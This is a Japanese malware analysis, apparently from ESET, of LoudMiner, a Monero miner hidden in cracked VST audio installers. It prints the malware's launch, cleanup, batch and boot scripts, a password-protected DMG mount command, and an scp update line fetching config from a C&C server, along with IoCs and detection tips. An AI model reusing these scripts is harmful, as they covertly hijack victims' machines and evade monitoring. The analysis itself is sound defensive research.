LoudMiner:クラッキングされたVSTソフトウェアを利用するクロスプラットフォームマイニング
Windows/macOS用のVST(Virtual Studio Technology)ソフトウェアの違法コピーにバンドルされたLinuxマイナーについて
Windows/macOS用のVST(Virtual Studio Technology)ソフトウェアの違法コピーにバンドルされたLinuxマイナーについて
LoudMinerは、2018年8月以降macOSおよびWindows用に拡散されている珍しいタイプの常駐型暗号通貨マイナーです。LoudMinerは、仮想化ソフトウェア(macOSではQEMU、WindowsではVirtualBox)を使用してTiny Core Linux仮想マシン上で暗号通貨をマイニングする、クロスプラットフォームマイナーです。LoudMinerは、VSTソフトウェアの違法コピーにバンドルされています。このマイナー自体はXMRig(Monero)がベースになっており、マイニングプールを使用しているため、潜在的なトランザクションの追跡は不可能です。
本記事執筆時点で、ドメインの登録日が2018年8月24日である1つのWordPressベースのサイト上で利用可能なVST関連アプリケーションは、137件存在しています(Windows用が42件、macOS用が95件)。最初のアプリケーション「Kontakt Native Instruments 5.7 for Windows」は同じ日にアップロードされました。サイズが大きいため、すべてのアプリケーションを分析することは現実的ではありませんが、すべてトロイの木馬化されていると考えて間違いありません。
アプリケーションそのものをホストしているのはWordPressベースのサイトではなく、29台の外部サーバーです(これらのサーバーについてはIoCのセクションをご覧ください)。サイトの管理者はアプリケーションを新しいバージョンに更新する作業も頻繫に行うため、マイナーの最初のバージョンを追跡するのは困難です。
ターゲットとなるアプリケーションの性質について興味深いのは、それらのアプリケーションの目的がオーディオ制作に関連している点です。つまり、アプリケーションがインストールされているのは優れた処理能力を持つマシンであり、CPUが大量に消費されたとしてもユーザーは驚きません。また、これらのアプリケーションは複雑であることが多いため、ファイルが巨大であるのもユーザーにとっては想定内です。攻撃者はこれを利用して、自分のVMイメージを紛れ込ませます。さらに、簡素なソリューションを使用するのではなく、仮想マシンを使用する設計は極めて異例であり、日常的に確認されているものとは異なります。
以下に、いくつかのアプリケーションの例と、Webサイトに掲載されているコメントを示します。
ESETは、MacのCPUを100%占有しているqemu-system-x86_64プロセスについてユーザーが不満を書き込んでいるフォーラムスレッドを発見しました。
「Macloni」を名乗るユーザー(https://discussions.apple.com/thread/8602989)は次のように述べています。
「残念なことに、OSXを再インストールしなければなりませんでした。問題は、私が公式サイトではなくtorrentサイトからダウンロードしたAbleton Live 10でした。マイナーも一緒にインストールされ、バックグラウンドで実行されたため、この問題が発生していました。」
このユーザーが添付したActivity Monitorのスクリーンショットからは、2つのプロセス(qemu-system-x86_64とtools-service)がCPUリソースの25%を消費していること、そしてroot権限で実行されていることがわかります。
macOSもWindowsも、分析結果の概略は同じです。
さまざまなアプリケーションを分析したところ、実際のソフトウェア、C&Cサーバードメイン、および作成者が設定したバージョン文字列と思しきものとのバンドル方法に基づいて、このマイナーには4つのバージョンがあることが特定できました。
ESETはこれまで、このマルウェアの3つのmacOSバージョンを確認しています。そのすべてに、installerdata.dmg
でQEMUを実行するために必要な依存関係が含まれており、ここからすべてのファイルが/usr/local/bin
にコピーされ、その過程で適切なアクセス許可(パーミッション)が設定されます。マイナーの各バージョンは一度に2つのイメージを実行でき、それぞれが128 MBのRAMと1つのCPUコアを使用します。常駐化は、RunAtLoad
をtrue
に設定して/Library/LaunchDaemons
にplistファイルを追加することによって実現します。また、KeepAlive
をtrue
に設定することで、プロセスが停止された場合にプロセスが再開されるようにします。各バージョンには、次のコンポーネントがあります。
Activity Monitor
プロセスが実行されているかどうかに基づいてマイニングを開始/停止できる、デーモンが付随したCPUモニターシェルスクリプト このCPUモニタースクリプトは、デーモンをロードまたはアンロードすることによって、マイニングを開始または停止できます。Activity Monitor
プロセスが実行されている場合、マイニングは停止します。それ以外の場合は、システムが何秒間アイドル状態になっているかをチェックします。
ioreg -c IOHIDSystem | awk '/HIDIdleTime/ {print $NF/1000000000; exit}'
2分以上経過していると、マイニングを開始します。2分未満だった場合は、CPU使用率の合計をチェックします。
ps -A -o %cpu | awk '{s+=$1} END {print s }'
その値をCPUコア数で割ります。
sysctl hw.logicalcpu |awk '{print $2 }')
85%を超えている場合は、マイニングを停止します。スクリプト自体はバージョンごとに少し異なりますが、大まかな部分は同じです。
インストールが完了すると、すべてのマイナー関連のインストールファイルが削除されます。
ダウンロードされたアプリケーションパッケージ内のマイナーファイルは、全く難読化されておらず、別のパッケージに格納されていたりもしません。これらのファイルは、ソフトウェアと一緒に次の場所にインストールされます。
/Library/Application Support/.Qemusys
qemu-system-x86_64
- クリーンなQEMUバイナリsys00_1-disk001.qcow2
- Linuxイメージ(1つ目)qemuservice
- qemu-system-x86_64
バイナリを介して1つ目のイメージを起動するシェルスクリプト(スクリプト1のリストを参照)/Library/Application Support/.System-Monitor
system-monitor.daemon
- system-monitor
バイナリを介して1つ目のイメージを起動します/usr/local/bin
.Tools-Service
sys00_1-disk001.qcow2
- Linuxイメージ(2つ目)tools-service.daemon
- tools-service
バイナリを介して2つ目のイメージを起動しますcpumonitor
- アイドル時間とCPU使用率に基づいてマイニングを開始/停止しますsystem-monitor
- qemu-system-x86_64
バイナリのコピーtools-service
- qemu-system-x86_64
バイナリのコピー/Library/LaunchDaemons
com.buildtools.system-monitor.plist
- system-monitor.daemon
を起動しますcom.buildtools.tools-service.plist
- tools-service.daemon
を起動しますcom.modulesys.qemuservice.plist
- qemuservice
を起動しますcom.systools.cpumonitor.plist
- cpumonitor
を起動します#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
else
/usr/local/bin/qemu-system-x86_64 -M accel=hvf --cpu host /Library/Application\ Support/.Qemusys/sys00_1-disk001.qcow2 -display none
fi
}
start;
依存関係がコピーされると、すべてのマイナー関連デーモンが起動され、その後実際のソフトウェアがインストールされます。
Activity Monitor
プロセスが実行中の場合、qemuservice
はイメージを起動しません。実行中の場合には、起動元のplistをアンロードします。tools-service.daemon
は、qemu-system-x86_64
プロセスが実行されておらず、45分間スリープした後に限り、イメージを起動します。System-monitor.daemon
は、Intel i5、i7、またはi9のCPUが検出された場合に限り、イメージを起動します。これらのスクリプトは、名前とイメージパスが異なるだけで、同じコマンドを使用してQEMUイメージを起動します。 ESETでは、マイナーのバージョン1に関連する次のスクリーンショットを発見しました。
これはLittle Snitchからのもので、プロセスqemu-system-x86_64
からの接続がブロックされたことを示しています。具体的には、hopto[.]org(無料のホスト名サービス)は、マイナーのバージョン1で使用されているC&Cです。
マイナーファイルは、ダウンロードしたアプリケーションパッケージ内のdata_installer.pkg
に格納されています。dが最初にインストールされ、次にVSTソフトウェアがインストールされます。インストールの前に、以下のコマンドが実行されるとマイナーのバージョン1が削除されます。
rm -rf /usr/local/*
スクリプト2のリストにあるように、実行中のqemu-system-x86_64
プロセスを検出した場合にのみ検出されます。
#!/bin/bash
#Clear Old
function clear {
LGC=`ps aux |grep "qemu-system-x86_64" |wc -l`
if [ $LGC -ge 2 ]
Then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.tools-service.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.system-monitor.plist
launchctl unload -w /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -f /Library/LaunchDaemons/com.buildtools.system-monitor.plist
rm -f /Library/LaunchDaemons/com.modulesys.qemuservice.plist
rm -f /Library/LaunchDaemons/com.buildtools.tools-service.plist
rm -f /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -rf /Library/Application\ Support/.Qemusys
rm -rf /usr/local/bin/.Tools-Service
rm -rf /Library/Application\ Support/.System-Monitor/
rm -rf /usr/local/*
fi
exit 0
}
clear;
以下の一時ファイルが作成されます。
z1
- QEMUバイナリz1.daemon
- QEMUバイナリ(バージョン1のqemuservice)でQEMUイメージを起動しますz1.qcow2
- QEMUイメージz1.plist
- z1.daemon
を起動しますz3
– CPUモニタースクリプト(バージョン1のcpumonitor
とほとんど変わりません)z3.plist
- z3の起動に使用されますrandwd
- ランダムな名前を生成します依存関係がコピーされた後、マイナーがインストールされます。今回QEMUバイナリ、plist、およびディレクトリの名前は、randwd
スクリプトでランダム化されます。マイナーがインストールされると、z1、z1.daemon、z1.qcow2、
およびz1.plist
の2つのコピーが作成されます。コピーごとに、次の処理が実行されます。
/Library/Application Support
に作成されます。/usr/local/bin
にコピーされます。z1.daemon
(スクリプト3のリストを参照)とz1.qcow2
は、ランダムな名前でこのディレクトリにコピーされます。z1.plist
は、com..plist
という名前で/Library/LaunchDaemons
にコピーされます。z1.daemon、z1.plistz3、z3、
およびz3.plist
ファイルはテンプレートとして機能します。これらのファイル内の他のスクリプト、バイナリ、plistsなどへの参照は、対応する生成されたランダムな名前に置き換えられます。 CPUモニター(z3
)シェルスクリプトとそれに付随するplistファイルについても、ランダムな名前が選択されます。z3は/usr/local/bin
にコピーされ、plistはcom.
という名前で/Library/LaunchDaemons
にコピーされます。
#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.AAAA.plist
else
/usr/local/bin/BBBB -M accel=hvf --cpu host /Library/Application\ Support/CCCC/DDDD -display none
fi
}
start;
バージョン2は、バージョン1よりも若干わかりやすく単純です。QEMUイメージは1つだけで、2つのコピーが作成されます。イメージ起動スクリプト、デーモン、およびcpumonitor
についても同様です。バージョン2ではファイル名とディレクトリがランダム化されますが、インストール時にコマンドラインでaccel=hvf
を指定して実行中プロセスをチェックするため、1回しかインストールできません。
これまでにESETが確認したバージョン2のアプリケーションでは、data_installer.pkg
のSHA1ハッシュは常に39a7e86368f0e68a86cce975fd9d8c254a86ed93です。
マイナーのファイルは、アプリケーションパッケージ内の暗号化されたDMGファイルdo.dmgの中にあります。DMGは次のコマンドでマウントされます。
printf '%s\0' 'VeryEasyPass123!' | hdiutil attach -noverify /Users/Shared/instapack/do.dmg -stdinpass.
マイナーのDMGには、単一のパッケージdatainstallero.pkg
が含まれます。これとソフトウェアパッケージが次にインストールされます。 バージョン2のdatainstallero.pkg
とdata_installer.pkg
のパッケージ内容はほぼ同じですが、datainstallero.pkg
は2つの難読化されたスクリプト(- clearpacko.sh
とinstallpacko.sh
)を追加し、既存のスクリプト(randwd
)を難読化します。
clearpacko.sh
は、バージョン2と同様にマイナーのバージョン1を削除します。installpacko.sh
はバージョン2と同じ方法でマイナーをインストールします。do.dmg
のSHA1も同じままです(b676fdf3ece1ac4f96a2ff3abc7df31c7b867fb9)。
すべてのバージョンは、複数のシェルスクリプトを使用してイメージを起動します。これらのシェルスクリプトは、起動時にplistsによって実行され、そのまま保持されます。
qemu-system-x86_64
のコピー)を実行して、QEMUイメージを起動します。qemu-system-x86_64、system-monitor、tools-service
。Application Support
のディレクトリ、およびQEMUファイル名はランダム化されます。すべてのバージョンで以下のスイッチが使用されます。
-M accel=hvfHVF
はOS X 10.10で導入されました。HVFのサポートは、2018年4月にリリースされたQEMU 2.12で追加されました。-display none
は、グラフィカルインタフェースなしで仮想マシンを実行するためのものです。ESETがアプリケーションから抽出した文字列に基づいて、これまで確認された唯一のWindowsバージョンをバージョン4と定義しました。前述したように、ロジックはmacOSバージョンと非常によく似ています。各Windowsアプリケーションは、「クラッキングされた」アプリケーションをインストールするMSIインストーラとしてパッケージングされています。図8は、vstcrack[.]comからの「クラッキングされた」VSTインストーラを実行する際に、VirtualBoxドライバのインストールに関して信頼するかどうかを確認するポップアップウィンドウ(信頼ポップアップ)を示しています。
VirtualBoxは通常のフォルダ名(C:\Program Files\Oracle
)にインストールされます。ただし、ディレクトリの属性は「非表示」に設定されます。続いて、インストーラはLinuxイメージとVBoxVmService(VirtualBox仮想マシンをサービスとして実行するために使用されるWindowsサービス)をC:\vms
(隠しディレクトリ)にコピーします。インストールが完了すると、インストーラはBAT2EXE(スクリプト4の解凍リストを参照)でコンパイルされたバッチスクリプトを実行してLinuxイメージをインポートし、VmServiceControl.exe
を実行して仮想マシンをサービスとして起動します。
@echo off
setlocal EnableExtensions EnableDelayedExpansion
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" setproperty machinefolder "%userprofile%\appdata\roaming"
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" import "c:\vms\tmp\sys00_1.ova"
xcopy /Y "C:\Windows\System32\Config\systemprofile\.VirtualBox" "C:\vms\.VirtualBox\"
"C:\vms\VmServiceControl.exe" -i
del /F "c:\vms\tmp\sys00_1.ova"
この方法は、再起動後もマイナーが潜伏できるようにするために用いられます。実際、VboxVmServiceに付属している構成ファイル(スクリプト5を参照)では、AutoStart
オプションを有効にすることが可能であるため、仮想マシンを起動時に自動的に起動できます。
[Settings]
VBOX_USER_HOME=C:\vms\.VirtualBox
RunWebService=no
PauseShutdown=5000
[Vm0]
VmName=sys00_1
ShutdownMethod=acpipowerbutton
AutoStart=yes
Linuxイメージに含まれているOVFファイルには、仮想マシンのハードウェア構成が記述されています(スクリプト6を参照)。使用するのは1GBのRAMと2つのCPUコアです(最大使用率90%)。
Linuxイメージは、XMRigに加えてマイナーを継続的に更新するためのファイルとスクリプトを実行するように構成されたTiny Core Linux 9.0です。最も興味深いファイルは次のとおりです。
/root/.ssh/{id_rsa, id_rsa.pub}
- SCPを使用してC&Cサーバーからマイナーを更新するために使用されるSSHペアキー。/opt/{bootsync.sh, bootlocal.sh}
- C&Cサーバーからのマイナーの更新と実行を試みるシステム起動コマンド(スクリプト7と8を参照)。/usr/bin/sethostname box
/opt/bootlocal.sh 2>&1 > /dev/null &
echo "booting" > /etc/sysconfig/noautologin
/mnt/sda1/tools/bin/idgenerator 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig
/mnt/sda1/tools/bin
-マイナーの更新と実行に使用されるメインファイルとスクリプト。/mnt/sda1/tools/xmrig
- (GitHubリポジトリからの)XMRigのソースコードを含みます。マイナーの構成は、/mnt/sda1/tools/bin/
config.jsonに格納されており、マイニングプールに使用されるドメイン名とポートが主に含まれています。これらのドメイン名とポートはバージョンによって異なります(IoCセクションの例を参照)。 更新メカニズムは、3つの異なるスクリプトによってSCP(Secure File Copy)を介して実行されます。
xmrig_update
- マイナーの設定を更新します(config.json
)。ccommand
- ccommand_update、xmrig_update
(スクリプト9を参照)、updater.sh, xmrig
を更新します。ccommand_update
- ccommand
を更新します。上記のことから、マイナーの構成は毎日1回更新されていると考えられます。
#!/bin/sh
ping -w 40 127.0.0.1
cd /mnt/sda1/tools/bin/ && scp -P 5100 -C -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null x01@system-update.is:ctrl/cowboinvox`date +%Y%m%d` config.json.new && mv config.json config.json.bkp && mv config.json.new config.json
特定のマイニングセッションを識別するために、マシンのIPアドレスとその日の日付を含むファイルがidgenerator
スクリプトによって作成され、その出力がupdater.sh
スクリプトによってC&Cサーバーに送信されます。
言うまでもありませんが、この種の脅威から保護するための最善の対策は、市販ソフトウェアの違法コピーをダウンロードしないことです。ただし、アプリケーションに含まれている不要なコードを識別するのに役立つヒントがいくつかあります。
- 予期していなかった「追加の」インストーラ(この場合はOracleネットワークアダプタ)からの信頼ポップアップ。
- インストールしなかったプロセス(この場合はQEMUまたはVirtualBox)によるCPUの大量消費。
- スタートアップサービスリストに追加された新しいサービス(Windows)、または新しいLaunch Daemon(macOS)。
- 奇妙なドメイン名へのネットワーク接続(ここではsystem-update[.]info、system-check[.]servicesサービスなど)。
SHA-1 | ファイル名 | ESETの検出名 | バージョン番号 |
---|---|---|---|
71030028c4e1b844c85138bd77ddea96a190ec2c | Virtual_DJ_8_Pro_Infinity_macOS.pkg | OSX/LoudMiner.A | 1 |
32c80edcec4f7bb3b494e8949c6f2014b7f5db65 | Native Instruments Massive Installer.pkg | OSX/LoudMiner.A | 1 |
7dc9f8ca07cd8e0247cf15cd8d2da2190a02fc90 | Massive_v1.5.5_Installer_macOS.dmg | OSX/LoudMiner.B | 2 |
0b40bd0754637d5be2ada760ff0ecfda7afe03d7 | Native_Instruments_Effects_Series_Mod_Pack.dmg | OSX/LoudMiner.B | 2 |
88efc767a32299e922f1b41f82c8d584585e2161 | Spectrasonics_Omnisphere_2.5_OSx.dmg | OSX/LoudMiner.C | 3 |
e9c9d17d006fb03d67b736c0826df0af8ca6d5fd | Lennar_Digital_Sylenth1_2.2.1.dmg | OSX/LoudMiner.C | 3 |
SHA-1 | ファイル名 | ESETの検出名 |
---|---|---|
23faacfc23cfef65504d7fa20854030b96a9df91 | Ableton.Live.Suite.10.0.6.Multilingual.x64.WIN.zip | Win32/LoudMiner.A |
5a8682eae69b2e11d45980941a972bd734630207 | Infected-Mushroom-Manipulator-V1.0.3.zip | Win32/LoudMiner.A |
60a8f1d4a028153271093e815e8267bd25fde852 | Sonic_Academy_ANA_2.0.3_x86_x64.msi | Win32/LoudMiner.A |
7c7876058783da85d5502b9406f7fb4d26f66238 | SoundToys_5.0.1_x64-SetupFiles.rar | Win32/LoudMiner.A |
a1a1dc7876d71749a8bc5690c537451770ef4ab8 | Valhalla-DSP-Full-Bundle-setupfiles.zip | Win32/LoudMiner.A |
SHA-1 | ファイル名 | バージョン |
---|---|---|
dd9b89a3c5a88fb679f098e2c2847d22350e23b1 | sys00_1-disk001.qcow2 | 1 |
d1e42e913da308812dd8da1601531b197c1a09a1 | sys00_1-disk001.qcow2 | 1 |
39a7e86368f0e68a86cce975fd9d8c254a86ed93 | z1.qcow2(ランダム化された名前に変更済み) | 2 |
59026ffa1aa7b60e5058a0795906d107170b9e0f | z1.qcow2(ランダム化された名前に変更済み) | 3 |
fcf5c3b560295ee330b97424b7354fd321757cc6 | sys00_1.ova | 4 |
fc60431a0172d5b8cf4b34866567656467cf861c | sys00_1.ova | 4 |
vstcrack[.]com (137[.]74.151.144)
戦術 | ID | 名称 | 説明 |
---|---|---|---|
実行 | T1035 | サービスの実行 | WindowsでLinuxイメージがVboxVmServiceと共にサービスとして実行されます。 |
常駐化 | T1050 | サービスの追加 | VboxVmServiceと併せて、Linux仮想マシンをサービスとしてインストールします。 |
T1062 | ハイパーバイザー | マイナーを実行するために、Type 2ハイパーバイザーをホスト(VirtualBoxまたはQEMU)にインストールします。 | |
T1160 | Launch Daemon | macOSのバージョンは、常駐するためにLaunch Daemonを使用します。 | |
防衛の回避 | T1027 | ファイルまたは情報の難読化 | 一部のシェルスクリプトは難読化されており、一部のインストーラはmacOSバージョンで暗号化されています。 |
T1045 | ソフトウェアパッキング | WindowsバージョンではBAT2EXEを使用してバッチスクリプトをパッキングします。 | |
T1158 | 隠しファイルとディレクトリ | VirtualBoxのインストールフォルダとLinuxイメージを含むディレクトリが非表示になります。 | |
C&C | T1043 | 一般的に利用されるポート | TCPポート443と8080をマイニングプール通信に使用します。 |
T1105 | リモートファイルコピー | SCP(ポート22または5100)を使用して、C&Cサーバーとの間でファイルをコピーします。 | |
影響 | T1496 | リソースハイジャッキング | 被害者のマシンを使用して暗号通貨(Monero)をマイニングします。 |